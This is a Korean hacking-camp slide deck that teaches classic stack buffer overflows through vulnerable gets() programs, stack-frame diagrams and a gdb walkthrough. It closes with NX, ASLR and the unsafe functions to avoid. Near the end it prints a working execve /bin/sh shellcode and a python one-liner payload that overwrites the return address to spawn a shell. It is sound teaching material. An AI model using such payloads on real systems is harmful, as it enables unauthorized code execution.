Buffer Overflow 공격의 이해송치현
2015.02.15제 11 회 해킹캠프
2
Who am I?• 이름 : 송치현• 나이 : 0x17• 페북 : http://fb.com/ian0371• 이메일 : [email protected]
INDEX
3
1. Buffer Overflow 개념잡기2. 배경지식3. Buffer Overflow 공격 과정4. Buffer Overflow 방어
4
비밀번호에 스페이스바 연타 !!!!!!
5
Buffer Overflow 개념잡기
데이터를 버퍼에 저장할 때 ,버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것
6
Buffer Overflow 개념잡기#include <stdio.h>#include <string.h>
int main(void) { int auth = 0; char passwd[16]; printf("Enter the password: "); gets(passwd); // VULNERABLE
if(strcmp(passwd, "SECRET_CODE") == 0) auth = 1;
if(auth) printf("Success!\n"); else printf("Fail\n");}
7
Buffer Overflow 개념잡기
8
Buffer Overflow 개념잡기
WHY???
9
Buffer Overflow 개념잡기
데이터를 버퍼에 저장할 때 ,버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것경계를 체크하지 않는 gets() 때문에(gets 함수는 버퍼의 크기를 모름 )
10
Buffer Overflow 개념잡기
데이터를 버퍼에 저장할 때 ,버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것char passwd[16];크기 16 짜리 버퍼에 많은 글자를 저장하면서
int auth;주변에 있는 변수 auth 의 값이 바뀐 것 !
11
Buffer Overflow 개념잡기
값을 더 넣어볼까… ?!
12
Buffer Overflow 개념잡기
Windows
?
13
Buffer Overflow 개념잡기
Linux
???
14
Buffer Overflow 개념잡기
Crash 가 나고 프로그램이 종료된다 !왜 그럴까 ?
15
배경지식
• 프로세스 구조
Code (Text)
Data
Stack0xbfffffff
0x00000000
StackGrowth
MemoryGrowth
16
배경지식
Code
Data
Stack0xbfffffff
0x00000000
Stack: 지역변수 , 함수 인자 , 환경 변수 등Data: 전역변수 , 동적 할당된 변수 (Heap)
Code: 어셈블리 코드
17
배경지식
Code
Data
Stack
ChromeCode
Data
Stack
ALSongCode
Data
Stack
Skype
Code
Data
Stack
LoL
18
배경지식
• AT&T 방식 어셈블리 syntax- Intel 방식과 src 와 des 가 정반대
Intel AT&T
mov des, src mov src, des
mov eax, ebx movl %ebx, %eax
mov ebx, 0ffh movl $0xff, %ebx
add esp, 4 addl $4, %esp
19
배경지식
• Little Endian 표기법 - 하위 Byte 를 하위메모리에 저장 - 대부분의 x86 에서 사용
20
배경지식
버퍼에 ABCDEFGHIJKL 를 넣으면
21
배경지식
• 스택 프레임 (Stack Frame) : 어떤 절차 ( 또는 함수 ) 의 호출에 따라서 그와 관계되는 모든 데이터를 저장해 두는 스택 영역
22
배경지식argument2argument1
RET addressSFP
main var1main var2
………
argument1RET address
SFPfunc1 var1func1 var2
…RET address
SFPfunc2 var1
StackGrowth
main 의Stack Frame
func1 의Stack Frame
func2 의Stack Frame
23
배경지식
• EBP(Base Pointer)- 스택 프레임의 시작점 ( 스택의 맨 밑 )- 함수를 Call 할 때 변함- 프레임 포인터 (FP) 라고도 불림
24
배경지식argument2argument1
RET addressSFP
main var1main var2
………
argument1RET address
SFPfunc1 var1func1 var2
…RET address
SFPfunc2 var1
StackGrowth
main 의Stack Frame
func1 의Stack Frame
func2 의Stack Frame
EBP
EBP
EBP
25
배경지식
• ESP(Stack Pointer)- 스택 프레임의 마지막 ( 스택의 맨 위 )- sub, add, push, pop 등으로 변함
26
배경지식argument2argument1
RET addressSFP
main var1main var2
………
main var4
StackGrowth
main 의Stack Frame
EBP
ESP
push %ebp
27
배경지식argument2argument1
RET addressSFP
main var1main var2
………
main var4ebp1
StackGrowth
main 의Stack Frame
EBP
ESP
pop %eax
28
배경지식argument2argument1
RET addressSFP
main var1main var2
………
main var4
StackGrowth
main 의Stack Frame
EBP
ESP
sub$0x8,%esp
29
배경지식argument2argument1
RET addressSFP
main var1main var2
………
main var4
StackGrowth
main 의Stack Frame
EBP
ESP
30
배경지식
• EIP(Instruction Pointer)- PC(Program Counter)- 다음에 실행될 명령어의 주소
EIP 를 우리가 원하는 방향으로 조작한다면 ? 원하는 코드 실행
31
배경지식
• 함수의 시작 & 스택 프레임 생성(Prologue)
main: call func1 … # return addressfunc1: push %ebp # main 의 ebp 값 저장 mov %esp, %ebp # ebp 를 esp 로 내림
32
배경지식argument2argument1
RET addressSFP
main var1main var2
EBP
argument2argument1
RET addressSFP
main var1main var2
RET addressESP
call func1
EBP
ESP
33
배경지식argument2argument1
RET addressSFP
main var1main var2
RET address
EBP
argument2argument1
RET addressSFP
main var1main var2
RET addressSFP
ESP
push %ebp
EBP
ESP
34
배경지식argument2argument1
RET addressSFP
main var1main var2
RET addressSFP
EBP
argument2argument1
RET addressSFP
main var1main var2
RET addressSFPES
P
mov %esp, %ebp
EBPESP
35
배경지식
• 함수의 끝 & 스택 프레임 해제 (Epilogue)func1: leave # 스택 프레임 복구 !!! # (mov %ebp, %esp; pop %ebp) ret # pop %eip
36
배경지식argument2argument1
RET addressSFP
main var1main var2
RET addressSFP
func1 var1func1 var2func1 var3
argument2argument1
RET addressSFP
main var1main var2
RET addressSFPEB
P
leave(mov %ebp, %esp)
EBPESPES
P
37
배경지식argument2argument1
RET addressSFP
main var1main var2
RET addressSFP
argument2argument1
RET addressSFP
main var1main var2
RET addressEBPESP leave(pop %ebp)
EBP
ESP
38
배경지식argument2argument1
RET addressSFP
main var1main var2
RET address
argument2argument1
RET addressSFP
main var1main var2
ESP
ret(pop %eip)
EBPESP
EBP
함수를 호출하기 전 스택 프레임과 동일
39
Buffer Overflow 공격 과정#include <stdio.h>#include <string.h>int func1(int a, int b) { char buf[16]; gets(buf); printf("Hello, %s!\n", buf); return 1;}int main(void) { func1(1, 5);}
40
Buffer Overflow 공격 과정(gdb) disas main 0x08048478 <+0>: push %ebp 0x08048479 <+1>: mov %esp,%ebp 0x0804847b <+3>: sub $0x8,%esp 0x0804847e <+6>: movl $0x5,0x4(%esp)
0x08048486 <+14>: movl $0x1,(%esp) 0x0804848d <+21>: call 0x804844d<func1>
0x08048492 <+26>: leave 0x08048493 <+27>: ret
41
Buffer Overflow 공격 과정(gdb) disas func1 0x0804844d <+0>: push %ebp 0x0804844e <+1>: mov %esp,%ebp 0x08048450 <+3>: sub $0x18,%esp 0x08048453 <+6>: lea -0x10(%ebp),%eax 0x08048456 <+9>: mov %eax,(%esp) 0x08048459 <+12>: call 0x8048320 <gets@plt> 0x0804845e <+17>: lea -0x10(%ebp),%eax 0x08048461 <+20>: mov %eax,0x4(%esp) 0x08048465 <+24>: movl $0x8048530,(%esp) 0x0804846c <+31>: call 0x8048310 <printf@-
plt> 0x08048471 <+36>: mov $0x1,%eax 0x08048476 <+41>: leave 0x08048477 <+42>: ret
42
Buffer Overflow 공격 과정
main 실행 전ENVIRONMENT:argc, *argv[] 등
0xb7e25a83:__libc_start_main
EBP
EBP: 0x00000000ESP: 0xbfffd58cEIP: 0x08048478
ENVIRONMENT……
0xb7e25a83 (ret)
0xbfff????
0xbfffd58c ESP
43
Buffer Overflow 공격 과정
0x08048478<main+0>push %ebp
0x08048479<main+1>mov %esp,%ebp EBP
EBP: 0x00000000ESP: 0xbfffd58cEIP: 0x08048478
ENVIRONMENT……
0xb7e25a83 (ret)
0xbfff????
0xbfffd58c ESP
44
Buffer Overflow 공격 과정
0x08048479<main+1>mov %esp,%ebp
0x0804847b<main+3>sub $0x8,%esp EBP
EBP: 0x00000000ESP: 0xbfffd588EIP: 0x08048479
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)
0xbfff????
0xbfffd588 ESP
45
Buffer Overflow 공격 과정
0x0804847b<main+3>sub $0x8,%esp
0x0804847e<main+6>movl $0x5,0x4(%esp)
EBP: 0xbfffd588ESP: 0xbfffd588EIP: 0x0804847b
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)
0xbfff????
0xbfffd588 EBPESP
46
Buffer Overflow 공격 과정
0x0804847e<main+6>movl $0x5,0x4(%esp)
0x08048486<main+14>movl $0x1,(%esp)
EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x0804847e
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)
0xbfff????
0xbfffd580
EBP
ESP
47
Buffer Overflow 공격 과정
0x08048486<main+14>movl $0x1,(%esp)
0x0804848d<main+21>call 0x804844d <func1>
EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x08048486
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x00000005
0xbfff????
0xbfffd580
EBP
ESP
48
Buffer Overflow 공격 과정
0x0804848d<main+21>call 0x804844d <func1>
0x0804844d<func1+0>push %ebp
EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x0804848d
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x00000001
0xbfff????
0xbfffd580
EBP
ESP
49
Buffer Overflow 공격 과정
0x0804844d<func1+0>push %ebp
0x0804844e<func1+1>mov %esp,%ebp
EBP: 0xbfffd588ESP: 0xbfffd57cEIP: 0x0804844d
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x08048492
0xbfff????
0xbfffd57c
EBP
ESP
50
Buffer Overflow 공격 과정
0x0804844e<func1+1>mov %esp,%ebp
0x08048450<func1+3>sub $0x18,%esp
EBP: 0xbfffd588ESP: 0xbfffd578EIP: 0x0804844e
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)
0xbfff????
0xbfffd578
EBP
ESP
51
Buffer Overflow 공격 과정
0x08048450<func1+3>sub $0x18,%esp
0x08048453<func1+6>lea -0x10(%ebp),%eax
EBP: 0xbfffd578ESP: 0xbfffd578EIP: 0x08048450
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)
0xbfff????
0xbfffd578 EBPESP
52
Buffer Overflow 공격 과정
0x08048453<func1+6>lea -0x10(%ebp),%eaxEBP-0x10: buf
0x08048456<func1+9>mov %eax,(%esp)
EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048453
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)
0xbfff????
0xbfffd578 EBP
ESP
53
Buffer Overflow 공격 과정
0x08048456<func1+9>mov %eax,(%esp)
0x08048459<func1+12>call 0x8048320<gets@plt>
EAX: 0xbfffd568EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048456
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)
0xbfff????
0xbfffd578 EBP
ESP
54
Buffer Overflow 공격 과정
0x08048459<func1+12>call 0x8048320<gets@plt>
0x0804845e<func1+17>lea -0x10(%ebp),%eax
EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048459
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)
0xbfffd568
0xbfff????
0xbfffd578 EBP
ESP
55
Buffer Overflow 공격 과정
EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x0804845e
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)0x004141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd578 EBP
ESP
56
Buffer Overflow 공격 과정
0x08048461 <+20>: mov %eax,0x4(%esp)0x08048465 <+24>: movl $0x8048530,(%esp)0x0804846c <+31>: call 0x8048310 <printf@plt>printf 로 출력하는 과정 !
57
Buffer Overflow 공격 과정
0x08048476<func1+41>leave
0x08048477<func1+42>ret
EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048476
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)0x004141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd578 EBP
ESP
58
Buffer Overflow 공격 과정
0x08048477<func1+42>ret
0x08048492<main+26>leave
EBP: 0xbfffd588ESP: 0xbfffd57cEIP: 0x08048477
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd5880x004141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd588
0xbfffd57c ESP
EBP
59
Buffer Overflow 공격 과정
0x08048492<main+26>leave
0x08048493<main+27>ret
EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x08048492
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd5880x004141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd588
0xbfffd580 ESP
EBP
60
Buffer Overflow 공격 과정
0x08048493<main+27>ret
0xb7e25a83 로 return
EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x08048493
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd5880x004141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd588
0xbfffd580
ESP
EBP
61
Buffer Overflow 공격 과정
• EBP 는 이전 스택 프레임의 EBP 를 가리킴(Saved Frame Pointer)
• Return addres 는 EBP+4 에 존재 !!
62
Buffer Overflow 공격 과정
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x080484920xbfffd588
(SFP)0x004141410x414141410x414141410x41414141
0xbfffd568
EBP
ESP
정상적인 inputENVIRONMENT
……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x414141410x41414141
(SFP)0x414141410x414141410x414141410x41414141
0xbfffd568
EBP
ESP
비정상적인 input
63
Buffer Overflow 공격 과정
0x08048476<func1+41>leave
0x08048477<func1+42>ret
EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048476
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x414141410x41414141
(SFP)0x414141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd578 EBP
ESP
64
Buffer Overflow 공격 과정
0x08048477<func1+42>ret
EBP: 0x41414141ESP: 0xbfffd57cEIP: 0x08048477
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x414141410x41414141
(SFP)0x414141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd578ESP
65
Buffer Overflow 공격 과정
0x41414141…
CRASH!!!!
EBP: 0x41414141ESP: 0xbfffd57cEIP: 0x41414141
ENVIRONMENT……
0xb7e25a830x00000000
(SFP)0x000000050x000000010x414141410x41414141
(SFP)0x414141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd578
ESP
66
Buffer Overflow 공격 과정
• EIP 를 잘 조작해서 우리가 원하는 코드를 실행할 수 있다 !!!
main func1 _exit
shell code
Normal Execution Flow
Abnormal Execution Flow
67
Buffer Overflow 공격 과정
• Shellcode - shell 을 실행시키는 기계어코드 (opcode) - http://shell-storm.org/shellcode/ - 25byte shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 - NOP(No OPeration): \x90
68
Buffer Overflow 공격 과정
• Payload 구성메모리 구조는오른쪽 그림과 같다 .
buf[16]: 16byte SFP: 4byte RET: 4byte NOP + shell-code
AAAAAAAAAAAAAAAA
BBBB 0xbfffd580 …
ENVIRONMENT……
shellcode…
0x909090900x909090900xbfffd5800x42424242
(SFP)0x414141410x414141410x414141410x41414141
0xbfffd568
0xbfff????
0xbfffd580
69
Buffer Overflow 공격 과정
• Payload 구성(python -c 'print "A"*16 + "B"*4 + "\x80\xd5\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./test
70
Buffer Overflow 공격 과정
71
Buffer Overflow 방어
• NX (Non-Executable Stack) - Stack 에 실행권한을 없앰으로써 Stack 에 있는 코드는 실행을 안 함
72
Buffer Overflow 방어
• ASLR (Address Space Layout Ran-domization)
- Stack 의 주소를 매 실행마다 바꿈
No ASLR ASLR
73
Buffer Overflow 방어
• 취약한 함수 사용 X - gets, scanf, strcpy, sprintf 등…
THANK YOU!!!